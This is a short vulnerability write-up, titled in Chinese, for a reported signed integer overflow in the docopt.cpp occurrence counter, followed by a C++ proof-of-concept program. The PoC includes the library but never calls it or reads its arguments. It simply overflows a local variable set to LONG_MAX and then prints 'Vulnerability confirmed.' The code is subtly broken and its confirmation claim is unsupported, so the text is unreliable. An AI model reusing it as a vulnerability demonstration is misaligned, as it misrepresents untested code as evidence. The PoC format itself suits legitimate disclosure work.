CVE-2025-67125 docopt.cpp有符号整数溢出漏洞

/* * CVE-2025-67125 PoC - docopt.cpp Signed Integer Overflow * This PoC demonstrates the occurrence counter overflow in LeafPattern::match * * Build: g++ -o poc poc.cpp -ldocopt * Run: ./poc -v -v -v -v -v ... */ #include <iostream> #include <climits> #include <docopt.h> static const char USAGE[] = R"(CVE-2025-67125 PoC Usage: poc [-v | --verbose]... poc (-h | --help) Options: -h --help Show this help message -v --verbose Verbose mode (can be repeated) )"; int main(int argc, char* argv[]) { std::cout << "[*] CVE-2025-67125 - docopt.cpp Integer Overflow PoC\n"; std::cout << "[*] Testing occurrence counter overflow\n\n"; // Simulate the overflow condition // Default LONG_MAX + first occurrence causes overflow long occurrence_count = LONG_MAX; std::cout << "[+] Initial occurrence count: " << occurrence_count << " (LONG_MAX)\n"; // This simulates what happens in LeafPattern::match when merging counters // Adding 1 to LONG_MAX causes signed integer overflow occurrence_count += 1; std::cout << "[+] After adding 1: " << occurrence_count << " (OVERFLOW!)\n"; std::cout << "[+] Count is now negative/undefined due to signed integer overflow\n\n"; // Demonstrate impact on limit checking std::cout << "[*] Simulating limit check logic:\n"; std::cout << " if (occurrence_count > MAX_ALLOWED) { ... }\n"; const int MAX_ALLOWED = 5; if (occurrence_count > MAX_ALLOWED) { std::cout << " Result: Check would pass (count > " << MAX_ALLOWED << ")\n"; } else { std::cout << " Result: Check fails unexpectedly!\n"; std::cout << " [+] Vulnerability confirmed: overflow bypasses limit checks\n"; } std::cout << "\n[*] Note: In production with UBSan/-ftrapv, this would cause:\n"; std::cout << " - Process abort (DoS)\n"; std::cout << " - Logic bypass in occurrence-based limits\n"; return 0; }